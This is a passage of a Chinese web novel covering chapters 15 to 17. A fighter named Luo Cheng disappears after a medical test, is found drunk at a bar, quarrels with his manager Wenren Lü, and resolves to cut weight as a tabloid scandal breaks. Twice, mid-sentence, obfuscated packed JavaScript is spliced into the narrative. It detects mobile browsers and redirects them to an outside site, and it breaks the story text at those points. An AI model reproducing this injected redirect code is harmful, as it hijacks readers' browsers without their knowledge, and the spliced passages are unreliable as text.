“……什么乱七八糟的。”他浑浑噩噩地这样说。不知是说给宁祁听,还是说给自己听的。失神地立在桌前迟疑几秒,洛城缓缓后退一步,那样子好像是要败退了。他短促地瞪宁祁一眼,随即像个心虚的少年犯那样,头也不回地抓过桌上的检查单,落荒而逃。 抚抚胸口,宁祁终于松一口气,心中隐约有些失落:哎,他这样的反应,看来不可能跟我配合做课题了…… 突然,门“哐”一声被撞开。洛城凶神恶煞地冲回来,像只被抓住痛脚的狮子那般直逼到他眼前,一把揪住他的衬衫领子:“今天的事你要是敢透露一个字……哪怕只是一点点似是而非的信息,我都会告你、告你们医院!告到你倾家荡产,你给我记住了!” 放完狠话,他又像旋风一般冲了出去,这次没有关门。陆医生听见动静,不禁好奇地走过来,探出个头:“怎么回事啊?那人是什么问题,查出来没有?” 宁祁苦笑地望着她,半晌,抬手朝她招一招:“陆医生,你过来。顺便把林医生也叫上,我跟你们交待点事儿……” 15. 你到底怎么了 晚上七点半,闻人律没有回家,还在办公室听下属的工作汇报。 下午时,登峰的竞标小组在陆庭风的领队下参加了c22-3地块的现场踏勘,拍摄了许多图片和鸟瞰图。闻人律对这些不是很关心,他草草翻过一遍就把文件夹放下了,转头望向陆庭风:“有没有看到白家的人?” “何止白家,申城四大家族的人都在,还跟我打招呼呢。我怀疑他们是白二小姐叫来搅浑水的,不然罗家的发展重点根本不在这个区,横插一杠子干嘛?”陆庭风说。 这种话不好在员工面前讨论,于是二人跟下属们摆摆手,示意你们可以下班了,转头到会客室泡了壶红茶继续聊。不知不觉闲扯到八点,闻人律终于觉出饥饿,刚想问陆庭风要不要去楼下OPAL吃个简餐,一个人影却在门口探头探脑地歪进来半个身子:“律……律总?” 扭头望去,来人居然是曹磊!他那张敦实的四方脸上带着魂不守舍的着急神情,嘴唇欲言又止地张一张,好像有些左右为难? 一看见他,闻人律便知洛城肯定又出岔子了,当即拧紧了眉头:“发生什么事?” 曹磊犹豫一瞬,脚下急匆匆地走进来,忧心忡忡道:“今天中午吃过饭,洛城说胃不舒服,自己去医院检查。四点多时还给我发了条短信,说在等检查结果,但五点钟再给他打电话,他就关机了……我去他家找他,又去他妈妈的老房子找,都没有找到!” “什么?!”猛地站起身,闻人律怒不可遏,那瞬间几乎荒诞地笑出来:“后天早上就要举行称重仪式,结果你现在跟我说他失踪了?……你们怎么没人陪他一起去做检查!” “他……他减重期嘛,进食很苛刻,所以中午单独开了一桌。结果饭没吃完他就说不舒服,自己先走了,我们也来不及去追他……”懊恼地辩解着,曹教练也明白自己的解释很苍白,不禁头痛地叹了口气。 一旁的陆庭风倒是冷静:“四点多他说在等检查结果,五点钟就关机了——难道是查出了什么重病,所以情绪失控,躲起来了?” “我就是在担心这个啊!”终于有人指出关键,曹教练不禁哀声叫出来,还焦心地猛拍了一掌。意识到这个可能,闻人律立在那儿,脑子里“嗡”一声响起蜂鸣,那瞬间神智一片空白,几乎无法想象这样的现实:“怎么会……他不舒服多久了,之前跟你们提过吗?” “断断续续也有两个星期了,说胃胀气,想吐,但是不怎么严重,所以我们都没当回事。”说到这儿,曹磊苦着脸,已然是追悔莫及:“律总,什么病会进展得这么快啊?半年前打约书亚时他才检查过,那会儿还健康得很啊!” 下意识想往外走,身体却不禁虚晃了一下,只得伸手扶住墙。闻人律感觉自己头有些晕,可能是没吃晚饭造成的……努力凝聚心神,他伸手指一指陆庭风,语无伦次道:“你,你先报警,然后我们再分头找……他以前喜欢去什么地方消遣,所有你们能想起来的地点,通通都找一遍!” “报警?”陆庭风比他清醒许多,当即否决了这一做法:“大哥,你冷静一点。现在我们只是猜测,事实具体是怎样还不确定,不能自己乱了阵脚!临近开赛,各大体育媒体都盯着呢,尤其是腾云,一旦走漏风声,他们养的那些狗仔队闻着血腥味就追上来了——难道你想被褚云争咬一口狠的吗?” 身形猛地僵住,闻人律一口气闷在喉咙里,大脑的高热像被踩了急刹车,终于缓缓停下。情绪的忽然遏制让他有点儿难受,他强压下胃部的不适感,白着脸思索半晌,混乱的大脑这才重回清晰:“曹教练,你叫上训练组的所有人……还有平常跟洛城比较要好的选手,大家分头去找。陆庭风,你找人去交警队查监控,看看他是去哪家医院做的检查,又是朝那个方向离开的。” “好。”两人领了命迅速出发,会客室顿时一片寂静。茶水已经凉了,闻人律面色青白地立在那儿,耳中蜂鸣又开始甚嚣尘上,心里只剩下一个念头:怎么样都好……千万不要是重病啊。 --------------- 洛城常去的地方有几个,小饭馆、烧烤店、酒吧等,基本上都在他家附近,最远的一家是在他妈妈那边,但开车半个小时也到了。曹教练和备赛组六人分头行动,雷厉风行地将那几家店铺搜寻过一遍,最后在望海路的夜宵摊集合。一下车,曹磊便见靶师小秦站在路口远远地朝他挥手,他忍不住大喊:“找到吗?” 小秦摇摇头,指一指路灯下熙熙攘攘的食客们,摆了摆手:“不在!” “操……”七人皆是无功而返,曹磊几乎要绝望了,沙哑的声音里满是疲惫:“这些地方都不在,他还能去哪儿?” 小秦欲言又止地望着他们,犹豫半晌,支支吾吾道:“城哥会不会……在墓地看妈妈啊?” 一石激起千层浪,其余六人都猛抬起头瞪住他,眼神中满是四个大字“你是天才”!这时闻人律打来电话,语调中透着焦灼:“找到洛城了吗?” “还没有……”曹磊飞快地奔向停车的地方,气喘道:“我们准备去墓园,看看他是不是在那儿!如果真的查出重病,阿城说不定会去找妈妈倾诉的!” 闻人律听得呼吸一窒,良久才找回声音:“我知道了……我这边离墓园比较近,我先过去吧,你们开车小心。” “哎,好!”上了车忙不迭地朝墓园赶去,二十分钟后,闻人律的电话又来了:“他妈妈的墓在哪一区?” “呃……”这一问把曹磊给难倒了:“我记不大清了,只知道是往右边走……律总,要不你在门口等我们吧。我只记得路,但是不记得号码,得走进去才知道。” “好,那你们开快点。”闻人律冷酷地挂了电话,倒是把曹磊给郁闷到了:刚才还叮嘱说开车小心呢,现在又要我开快点……算了,他也没功夫吐槽自家老板,找人要紧。所幸夜晚路上车辆不多,加足马力又开了十五分钟,一行人很快到达墓园。 路灯下,闻人律焦灼地在墓园紧闭的铁门前徘徊着,身上依旧是白天的衬衫西裤,显然是没心情回家换洗。曹磊也懒得去停车场了,直接把车在大门边上一横,着急忙慌地下车来:“律总!跟我走吧,我知道他妈妈的墓在哪里……” “走什么!工作人员说晚上七点都关门了,现在不让进!……你确定洛城真来这里了?”闻人律双臂环胸,面色极差,眉心像打了结似的展不开。曹磊只好去跟门卫交涉:“大爷!实在不好意思啊,大半夜的还来打扰您……我们一个朋友不见了,他可能是生了重病,过来找已故的亲人倾诉。他长得很高大,一米九!身材好,脸也帅,您有没有印象啊?” 大爷耷拉眼皮瞅着他,摇摇头:“我七点才换班过来的,你朋友要是早就来了,我也碰不上啊。” “那您能不能开门让我们进去找一找?求您啦,我们很快的!”悄悄递过去一包好烟和几百块钱,大爷终于嘟嘟囔囔地从门卫室踱出来,拿着钥匙走到了铁门前:“快点儿啊,十五分钟必须出来!” “哎,好!” 记忆中洛城妈妈的墓在一个比较中间的位置,右转第二条通道往上走,看到一棵巨大的松树之后,再往前走两排,左手边那一列就是了。至于具体是哪一个,曹磊也不大确定,只能让大家用手机打光慢慢找:“我记得阿城是跟他妈妈姓洛的……墓碑上用的是一张年轻的照片,有点儿褪色了,但很好看。” 姓洛……闻人律一个一个找过去,终于在倒数第三位的墓碑上看到了一张明艳动人的脸,头发浓密微卷,笑靥如花,照片下头刻着名字:洛梦娟。那一刻,他忽然明白了洛城浓烈的五官从何而来——原来他长得像妈妈,浓眉大眼,高鼻厚唇,皮肤微黑,看上去颇有几分西南地区少数民族的味道。手机再一转,光线投向墓碑前方——祭台上空荡荡的,没有蜡烛,也没有祭祀品,洛城并没有来这里。 最后的希望落空,闻人律微微恼怒,丧气地关了手机电筒:“我找到了!但是他没来过,墓前连柱香都没有!” “……不会吧?”其他几人不约而同地发出气馁的哀嚎,那瞬间心灰意冷,一个个接连跌坐在地。颓唐之时,黑暗的死寂中忽然响起一阵手机铃声,叮叮咚咚的,吓了众人一跳!随后是闻人律重燃希望的焦急声音:“喂?你那边怎么样,查到监控了吗?……丰阳路?那是什么地方?” “呃……”听见这三个字,曹磊只觉脑中一声轰响,双手双脚瞬间冰冷。闻人律狐疑地转头望向他,同时把手机照过去,借着微光看请了他脸上尴尬的表情。不禁警觉地眯起眼,他的声音变得极冷,咬牙切齿道:“……你别告诉我,那是寻欢作乐的地方!” 众人冷汗涔涔,皆无言以对。 ---------------------- 最后,他们是从丰阳路一家叫“Strawberry”的酒吧里把洛城架出来的。 望着眼前这个酒气冲天的颓唐Alpha,闻人律的脸几乎黑成了墨汁,锋利的视线恨不得化出实体,一刀刀将他凌迟!陆庭风无奈地拍拍他肩,叹口气,转身上了车:“先回训练馆吧,这里人多眼杂,别被人看了笑话。” 强压下怒气,闻人律看着曹教练把洛城架到对面车上,视线忽然一凛,杀气腾腾地跟了过去。曹磊本来还想在车上把洛城拍醒,再给他打个预防针呢,却见大老板冷不丁坐进了副驾驶,直挺的背影冷肃如山,他心里不禁暗暗叫苦:阿城啊,今天我就是想帮你,也无能为力了…… 酒吧街到场馆四十分钟路程,一路上无人吭声,车内死寂得令人几欲原地消失。静默之中,洛城身上的酒味、烟味、脂粉味便显得分外刺鼻,曹磊听见闻人律着恼地打了个喷嚏,口中恶狠狠骂一句“操!”扯过纸巾用力擦了擦鼻子。 阿弥陀佛!他只得闭上眼睛,双手悄悄合十:菩萨保佑,让洛城安全度过今晚吧! 抵达训练馆已是半夜十二点。 场馆早就空了,灯光已尽数熄灭,只有大堂还亮着。闻人律一马当先地疾步走进去,后边儿曹教练和小秦架着洛城忙不迭跟上,生怕慢一点就会引来他的雷霆怒火。 很快到了休息室,陆庭风打开灯,就见闻人律怒不可遏地在茶几前不断踱步,梳得端整的头发早就乱了,衬衫下摆也松松垮垮的,几乎从裤腰里扯了出来。而洛城——他好像终于清醒了点儿,整个人歪歪斜斜地靠着沙发扶手,眼神空洞地望着地板的某一个点,没有焦距。 他甚至还穿着今早赛前发布会的白色西装。 “你是不是还嫌你不够显眼,嗯?”终于,闻人律遏制不住怒气,站定在正前方,开始朝他发难:“有什么问题你就跟曹教练说、或者跟我说啊!我们一起商量,总有解决的办法,你跑去鬼混算什么事!?鬼混能解决问题吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572149|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?……你知不知道你马上就要比赛了,你知不知道现在腾云就等着我们自己掉链子?你居然还穿得这么张扬,大张旗鼓地去约炮,嫌自己的丑闻太少了吗?!” 他难得一见的厉声质问听得其他人俱是浑身一悚,但洛城却仿佛丢了魂儿,行尸走肉一般歪在沙发上,充耳不闻。他这副破罐子破摔的模样惹得闻人律愈发恼火,忍不住一拍桌子,怒道:“打炮打懵了是吗?魂儿都丢在那些Omega床上了?!……就你这样的德性,遇到点事就一蹶不振,自暴自弃,以后你在UFC还怎么走下去!?还好意思跟小晴求婚……分手才一个半月就去约炮,你对她能有多真心?” 听到前女友的名字,洛城终于有了反应,双眼直勾勾地抬了起来。“这关小晴什么事,”他声音沙哑地反问,“你也知道我跟她分手一个半月了,我去约炮又有什么问题?难道要我为她守身如玉一辈子才算好人?……你不觉得莫名其妙吗,闻人律,你们看不上我,好,那我跟她分手了,结果现在你又来挑剔我的生活作风问题?我真的不明白了,我有那么碍眼吗!?” 他的语调越来越激动,说到最后,他不禁失控地站了起来,脚下向前一步,像一只狂怒又脆弱的受伤雄狮。众人第一次听他直呼老总的名字,不止曹磊,连陆庭风也震惊了,愕然瞪大眼。 似乎从未受到如此的挑衅,闻人律难以置信地语塞了一秒,才怒道:“洛城,你别搞错了因果关系!你为人但凡踏实靠谱一点,我都懒得反对你跟小晴——从一开始我就知道你不是个安分的人,做事缺乏毅力,心思浮动,又容易得意忘形,你今晚的所作所为无非是证实了我的看法而已!” “我不安分?”洛城也生气了,原本松弛的手掌紧握成拳,咬牙切齿地大步走上前。曹磊见状,赶紧扑上去,用力搂住他的身体:“阿城,你别、别冲动!” 但洛城已经被情绪冲昏了头脑,整个人陷入一种难以名状的痛苦之中,伸手指着闻人律嘶声叫骂:“对,就你干净,就你高贵!你最了不起了,天天高高在上地对着人指手画脚,真当别人不知道呢!……你自己明明也约过炮的,闻人律,你别不承认,我看见了的!” 闻言,闻人律的面色几乎降到了冰点,冷峻得令人不敢直视。曹教练快要哭了,搂着洛城用力往后拽,不断劝着:“阿城,你喝多了,别再说了!咱们先回去,别说了……” 但暴怒状态下的职业格斗选手哪是那么好阻止的?洛城气红了眼,喉咙都嘶哑得破了音,却还在指着闻人律怒骂:“那天晚上的盛筵,我看见你了,你搂着个Omega往楼下包房走,我看见了的!你高贵什么?我要是不安分,那你也安分不到哪儿去!……以后你少对我指指点点,老子只是签在你旗下,并不是欠你的!惹火了我,我直接毁约签到腾云去,反正违约金老子也付得起!” 他说什么……签到腾云?闻人律的呼吸陡然变得沉重,一张如玉的俊脸黑成了墨,嘴唇颤抖着,说不出话。见状,曹教练赶紧捂住洛城的嘴巴,招呼小秦等人一起把他搂住,连拖带拽地扯了出去。洛城居然还在挣扎,发疯似的想再骂点儿什么,却忽然悲从中来,撕心裂肺地仰起头,在高阔的大堂中痛苦嘶吼了一声:“啊——” 似乎有无尽的委屈、愤懑、不解积在心中,压垮了他。 听见那声不甘的哀嚎,闻人律重重喘息着,终于忍不住一拳砸在墙上,不可理喻道:“这算什么?我千辛万苦捧他出来,他一言不合就要毁约去腾云?我对他已经够好了吧,换了别人,谁还会殚精竭虑地为他谋划考虑?他这几年的签约、代言、比赛,哪个不是我帮他谈下来的,他现在居然冲我吼?……他冲我吼什么!” 陆庭风抱着臂靠在角落,无奈地乜斜着他,凉凉道:“你对他没有不好——你只是看不起他而已。” ……望着老友奚落的眼神,闻人律忽然无言以对。 气氛僵持地沉默半晌,他冷硬地撇开脸,偏执得如同一头犟驴:“我没有看不起他。我只是生气,他有如此的条件、如此的天赋,却不肯好好兑现。再这样任性下去,他只会毁了自己的事业。” “你管他呢?世界上兑现不了天赋的运动员多了去了,难道你一个一个地气过去?”陆庭风“嗤”一声,不置可否:“这个不行就换一个呗,现在有天赋的小年轻如雨后春笋,你何必跟洛城死磕?你不要忘记了,你是个商人,不是他的监护人。你跟他之间只有交易,没有义务!” 话是这样不错,但是……闻人律头痛地闭上眼,总觉得最近似乎流年不利,很多事情都脱离了自己的掌控。好像从洛城丧假回来开始,一切就变得不对劲了。先是被仙人跳,接着备赛出问题,现在洛城又撂了挑子……想到曹教练说他下午不舒服去医院做检查,闻人律倏然抬起眼,狐疑道:“胃胀气……难道是早期胃癌?” 听见他的自言自语,陆庭风无语得几乎笑出声来:“大哥,你还在纠结这个啊?洛城不可能得病的好吧!……如果他真是身体出了问题,这么正当又这么严肃的事情,他怎么可能不跟我们说?现在他是去约炮啊,去抽烟喝酒!这种情况不是感情受挫就是心态崩了,之前我听曹教练说过,他很紧张格伦奥康纳这一次的比赛战术……你想想看,是不是这样?” 是吗?闻人律拧起眉,还是无法说服自己:“不行,明天我要去那家医院问问,看他究竟是查出了什么病!” 16. 颓废之后的振作 情绪的宣泄是有量的。一整个晚上,洛城都在茫然与混乱中打转,像无头苍蝇一般在四壁陡立的房间里乱撞,始终找不到出口。现在指着闻人律大骂一通,又嘶吼一阵,心里反倒清明了许多。 被众人七手八脚地拖到训练馆外的广场,他振臂一挣,没甩开。躁火不禁又起,洛城低吼一声:“行了,松开!”曹教练这才将手放下来,头疼地看着他:“你说你……”埋怨的话说不出口,只好叹口气,又把手搭到他肩膀上:“走吧,咱们去吃个夜宵,好好聊聊。” “不用。”洛城生硬地再次甩开他,面容决绝好似油盐不进,一心只想着缩到旁人看不见的地方去:“我累了,你们也回去吧。” 他跌跌撞撞地往大门走去,脚步仓皇,像只争斗落败的受伤雄狮。曹教练不放心地看着他背影,半晌还是没忍住,大喊一声:“你检查没问题吧?” 洛城没有回答他,走到街边匆匆打了辆的士,在闷热的夏夜中绝尘而去。 ------------------- 大半夜的不想回家。司机问他去哪儿?洛城摊手摊脚地靠在后座上,对着车顶沉默着,半晌才用干涸的声音道:“去望海路。” ……他忽然很想念老妈家里那间窄小的卧房。他曾经在那儿住了十三年。 小时候的记忆是很鲜活的,想忘都忘不掉。洛城记得那时妈妈不爱做饭,每到饭点,他就会循着左邻右舍的饭香跑去蹭饭。今天张叔家做的是焖排骨,明天李婶儿家做的红烧鱼,他都一一蹭过去,饿死鬼似的就着汤汁吃两大碗饭。人家气得发笑,叉着腰骂:“洛梦娟!你养儿子好轻松,饭都不做一顿,干脆让他跟我家姓好了!” 妈妈就从牌桌上歪出半个脑袋,不耐烦地道:“哎呀,又不是不付你饭钱!喏——”从当天赢的钱里抽出几张丢过去:“晚饭那顿也帮我解决了吧!” 洛城个儿高,长得又快,十二岁就一米七五了,成日里带着整个街区的小孩儿招猫逗狗。他爱打架,经常闯祸,人家父母拖着孩子找上门来,讲理些的,妈妈就好声好气地给人赔礼道歉;趾高气昂的,她就叉着腰跟人对骂。有一次洛城把人打瘸了腿,老妈赔了好大一笔钱,回来就抽出棍子揍他:“下手也没个轻重!你那么爱打,好,我让你打个够!” ……洛梦娟女士说话算话,第二天就把他送到了拳馆,从此以后天天有架打。 想起往事,洛城歪头靠着车窗玻璃,莫名笑了一下。 熟悉的街景逐渐出现在眼前,老旧房子、乱七八糟的电线,门面鳞次栉比,大半夜的一家烧烤店还开着,食客熙攘,生意兴隆。他下了车走过去,隔着十来米的距离,那老板已经看见了他,“嘿”一声笑出来:“阿城!这么晚,你怎么跑过来了?” 洛城扯出一个勉强的笑容:“王叔,还不是想您的手艺了。” 中年人自得地笑起来,反身进店铺里掏了张折叠桌子出来递给他:“自己摆啊,我给你烤那老几样……老婆!拿几瓶啤酒,要冰的!阿城来了!” 寻了个边缘的位置把折叠木桌摆好,又拖过一张空的塑料椅坐下,洛城放松了身体靠着椅背,双眼茫茫望着灯光下形形色色的食客,总感觉自己处在一个光怪陆离的梦境之中。今日发生的一切其实都是假的,是个噩梦罢了,明早醒来,他依旧是原来那个强壮而纯粹的Alpha。 不多时,王叔端着一煲皮蛋瘦肉粥放到他面前,笑道:“先吃点儿粥,肥牛马上就来!”过了两分钟,王婶也来了,双手各拿着2瓶啤酒,额上渗着密密的汗:“你看我,忙得差点儿把酒给忘了!喏,我放在这里,你慢慢喝啊。” “没事,婶儿你们忙。” 王叔的皮蛋瘦肉煲还是那么鲜香嫩滑,吹吹气喝一口,整个胃都暖呼呼的,配上姜丝的微辣,能激出一身的汗。洛城埋着头接连不停地吃了十几口,着急忙慌的,仿佛有什么东西在追赶他。半晌,白瓷勺子忽然顿在砂锅边,随即“当啷”一声放下了。他没有抬起头,收回手撑着脸,就保持着这样一个不愿面对现实的姿势,咬牙静默了许久。 一滴滴水珠砸在木桌上,点出重叠的圆,夏夜的气温闷热,它们像夜雨,凝固在这无风的夜里。 ……老天爷怎么跟他开了一个这么大的玩笑呢? 再抬起头时,洛城的泪已经止住了,神情若无其事,只有通红的眼眶泄露出一丝端倪。王叔又拿来了他喜欢的肥牛、黄喉和掌中宝,撒了足足的辣椒和孜然粉,香辣到冲鼻子。洛城立即吃了一大口,装作被呛到的样子咳嗽两声,挤出眼泪道:“叔,太久没来光顾,这个辣度我都吃不习惯了!” “哈哈哈哈,你早说呀!来来给我,我拿回去帮你抖一抖,刷点儿蜂蜜水再烤烤!” ……总算是蒙混了过去。 身心俱疲,洛城垂着头,从兜里摸了根烟来抽。以往备赛期他是不会抽烟的,但今天实在难以自控,心烦意乱的,就在酒吧里跟人要了一包。 这种烟身形细长,烟味较轻,带着股特别的香味,像是Omega抽的花香烟,不够解瘾。洛城拧着眉只用力吸了几口,一支烟就快没了。又掏出一支正想点燃,一只手突然从身侧伸过来,拿走了他的烟,同时讶异道:“阿城?你怎么在这里。” 不禁浑身一抖,洛城猛地回头望,见来人居然是自己的发小兼体校同学,陆良。老友相见,分外激动,那一刻洛城呆呆的,几乎酸了鼻子,抿着嘴角用力拍一拍边上的椅子,又着急地去抓他手腕:“陆良!好久不见,来,跟我喝一杯!” 陆良“哎”一声,推开他手:“我先去找王叔点单,不然跟你说话肯定要耽误的。” 望着老友略微发福的背影,洛城吸吸鼻子,突然觉得分外怀念。两人自小在同个街区长大,年龄相仿,都爱惹事生非,那叫一个臭味相投。上初中后,洛城开始练体育,陆良看见了,回家也跟爸妈闹着要练。于是两人一齐上了体校,一个练散打泰拳,一个练田径。但不同的是,毕业后洛城顺利走上了职业的道路,陆良却回到老家考了个教师资格证,当了一名中学体育老师。 “你当职业那么好走?”那时陆良慨叹着这样跟他说,“我练到第二年就知道自己不是那块料了。体育这玩意儿,天赋压死人,我还是不为难自己了。” 如今九年过去,陆良脸上隐约的不甘已经彻底消失,剩下的只有对生活妥协后的闲适。大半夜的,他穿着背心和大短裤走过来,脚上趿着一双人字拖,笑容可掬:“你怎么跑回来了,最近不是备赛么?” 洛城不想聊这个,自顾自拿起啤酒往他面前一墩:“来,陪我喝酒!” “哎哟,不行。”陆良面露难色:“要是以前,我肯定跟你不醉不归,可最近我跟我媳妇儿在备孕呢,烟酒暂时都戒了。” 备孕?……洛城好似很错愕,双眼后知后觉地瞪着,一副恍惚神情。 见状,陆良便继续解释:“她三十三了,我年纪也不小,咱们要讲究优生优育嘛,克制点儿是应当的。不然要是生出个不健康的孩子,那哭都没地方哭去。”说着,他转而拿起小茶壶,给自己倒了杯苦荞茶:“我以茶代酒,啊?陪你喝两杯,待会儿肉烤好了我就得回去,老婆在家里等着我呢。” “呵,”洛城悻悻地干笑一声,“感情真好啊。”他也把啤酒放下了,默默地学陆良喝热茶,但身上酒气依旧浓烈得很。陆良一直很关注这个老友的比赛日程,知道他30个小时之后要称重,于是忍不住问:“你怎么还喝水啊?……这会儿不是脱水的紧要关头吗。” 洛城垂着脑袋,一头卷发已经乱成鸡窝,西装也歪歪斜斜的,处处都透着颓唐:“……我都不想打了。” 陆良听得一怔,心中不禁低呼:不是吧……但面上并不显,只状若随意地道:“干嘛,碰见什么难题了,跟哥说说。” “……跟你说也没用。” “我帮不上忙?” “一丁点儿都帮不上。” 陆良自然知道帮不上,只不过想借此打开话头而已,却没料到洛城的口风那么紧,一点儿信息都不透露。见他面色沉闷,陆良慢吞吞吃了口肥牛,试探着问:“……那,你临场退赛的话,你的公司岂不是要赔很多钱?” 是啊,是要赔很多钱。洛城忽然感觉食不下咽了,自暴自弃的冲动与责任心左右拉扯,难受得他又开始胀气想吐。呛水一般的酸涩感再次从鼻腔漫了上来,他丧气地放下签子,五官全部沮丧地往下撇,那模样简直像一只被赶出家门的流浪狗:“我,我是真不知道该怎么办了……” 此时洛城的整个上半身几乎都伏了下去,弓着背与大腿平行,两只手用力拉扯着头发,痛苦又徒劳。 陆良吓了一跳,赶忙放下肉串去安抚他,拍拍肩膀:“干嘛呀这是?……哎呀,没那么严重,你别自己吓自己!你还记得梦娟阿姨以前怎么说的吗?——又不是死了,哭什么哭!对吧?人除生死无大事,遇见问题就想办法呗,兵来将挡水来土掩,总能解决的!” ……能解决吗?洛城艰难地喘息着,心中的惶恐愈发难以控制。 现在他肚里有个莫名其妙的孩子……或许可以偷偷打掉,但距离比赛只剩下两天了,自己不可能在赛前动手术。可要是带着这个东西进行极限脱水,效果难以保证……他肯定会超重的。称重不过的话,如果格伦奥康纳同意比赛,自己就要把出场费分给他30%……可是,可是,以这样糟糕的状态站走进八角笼,他怎么可能打赢呢? “……输了也没关系嘛。胜败乃兵家常事,就连KSP也在生涯前期输过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572150|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次,你又怕什么?这次输了,下次再杀回来就是,观众也喜欢看这种复仇的戏码啊,对不对?但你如果现在退赛,公司要赔钱不说,你的备赛团队也拿不到奖金了,甚至UFC那边也不会再给你匹配好的对手。而且,你应该也知道,粉丝们最讨厌临场退赛了。他们能接受偶像站着死,但绝对接受不了临阵脱逃!” 几句话振聋发聩,听得洛城心头猛地震颤起来,将信将疑地抬起了头:“……现在还来得及吗?” 见他好似回心转意,陆良终于吁一口气,放松地笑起来:“你是专业选手,你应该比我更清楚脱水的效率。” 事已至此,好像也只能这样了……硬着头皮上吧。兵来将挡、水来土掩,所有的事,先等比完赛再说。 思忖良久,洛城终于定定神,扯过纸巾擦干净嘴,沉缓地站了起来。陆良立即用力拍巴掌,捧场道:“哎,这才是咱们望海街天不怕地不怕的阿城嘛!……你呀,今晚就先回去好好睡一觉,明早起来认真脱水,称重比赛,不然啊——” 说着,他忽然露出个无赖的滑黠笑容,脸上肥肉挤作一堆:“这一次我买的格伦奥康纳赢,你不比赛,我就拿不到钱啦!” “嘿你——”洛城那个错愕,那个哭笑不得,当即一个侧踹,狠狠踢翻了老友的凳子。 ---------------------- 第二天一早,曹教练在场馆角落正跟备赛组成员们商量着如何去洛城家把他劝回来,身后一个沉稳的脚步由远及近,背包“簌”一声放下,传来了洛城微微沙哑的声音:“磊哥,今天你们想想办法,帮我快速脱水吧。” 众人愕然回望,就见这个平日里率性落拓的高大斗士此刻宛如一匹大病初愈的骏马,静静地立在那里,等着他们给他配上鞍鞯。曹教练不禁怔愣了很长一会儿,几乎无法相信眼前这个神情沉闷的人是洛城——他小心地走过去,轻声问:“你……身体真的没问题吗?” “没问题。”洛城不假思索地回答,“肯定能打完后天的比赛。” “那……那好吧,你过来,我们称一下体重。” 整个团队的人做梦一般跟着他俩走到角落,洛城脱了上衣仅着短裤站上体重秤,屏幕显示当前体重为201斤,距离轻重量级最高体重还有17斤……众人倒吸一口凉气,不约而同地沉默了。 洛城僵立在那里,嘴角难堪地紧抿着。半晌,他张张唇,闷头走了下来,一边穿鞋一边涩着嗓子道:“减吧。能减多少就减多少……总不能让这次头条主赛开天窗。” “也只能这样了。”叹口气,曹教练拍拍他肩,揽着他朝器械区走了过去。 ----------------- 闻人律很快收到了消息。 “他回来了?”刚挂电话就听见陆庭风这样汇报,闻人律拧起眉,总感觉洛城这一次的情绪太过诡异,来得快去得也快,令人摸不着头脑。他难以置信地晃晃手机,不解道:“刚才煜哥还跟我说他去医院打听了,洛城的检查没什么大问题——那这家伙昨晚到底是发的什么神经?” “我怎么知道。”陆庭风撇撇嘴,懒得深究:“反正他这人四六不着的,不是一天两天了,也就只有你惯着他。昨晚他大喝一通酒,前几天的脱水成果通通报废,现在差了足足有十七斤!……你还是赶紧想想怎么跟Dana谈补偿比例吧。” 还能怎么谈?该赔多少就赔多少呗!……闻人律也颇为头疼,心想这次减重恐怕要进桑拿房了,希望不会搞出肾衰竭。 正琢磨着如何平衡减重的最低限度与赔付的比例,沙发上瘫坐着的陆庭风好似刷到什么新闻,像只猫似的弹了起来,“卧槽”一声直冲到他面前:“昨晚洛城去酒吧约炮被人拍到了!上新闻了!……万云传媒?操,又是褚云争!” 面色一瞬间变得铁青,闻人律抢过他的手机,屏幕正中央赫然就是洛城在酒吧里搂着Omega亲吻的大特写!再仔细看内容,“昨夜九点,即将出战UFC第289期数字赛的格斗选手洛城出现在xx酒吧,与几个性感火辣的Omega贴身热舞、热辣亲吻。缠绵二十分钟后,洛城挑选了一名前凸后翘的Omega前往酒吧的包房,度过了不为人知的半个钟头……” ……操! 恼得把手机往桌上一拍,闻人律只觉呼吸暴涌、头痛欲裂,那瞬间捂着额什么也不想说。陆庭风把手机拿过去继续看: “……然而,就在洛城离开酒吧后,与他共度春宵的Omega向笔者透露,洛城居然是个‘银样镴枪头’,中看不中用,只昂扬了一分钟不到便偃旗息鼓,根本无法开始。一次不成功,他又尝试多次,却都以失败告终……” “卧槽!”陆庭风惊呆了,“原来洛城是因为这个发的疯!” 17. 极限脱水 急匆匆赶到训练馆,闻人律疾步走进室内,远远的就见洛城身穿一套黑色短款运动服,在角落里认真地暴汗跳绳。他应该还没看到新闻,整个人心无旁骛的,双眼似乎放空了。倒是周围的运动员拿着手机相互交头接耳、窃窃私语,不时对着他指指点点,神情或窃笑或讳莫如深,看得闻人律不禁拧起了眉。 “……陆庭风,你去,叫曹教练和洛城去战术分析室。”为了不惹人注目,闻人律吩咐完直接去了场馆副楼,陆庭风只得硬着头皮走向曹教练——这家伙也在看手机呢,坐在场边一脸苦哈哈的,似乎在苦恼怎么跟洛城确认这事。 叹口气,陆庭风重重搭上他的肩膀,难兄难弟似的道:“磊哥,律总看见新闻了,叫你跟洛城去战术室商量对策呢。” 曹磊倒吸一口凉气,轻声道:“律总也看见啦?” “想不看见都难啊……!倒是洛城,他还不知道吧?” “应该没有……他从早上到现在都没摸过手机,也没人敢跟他说。” 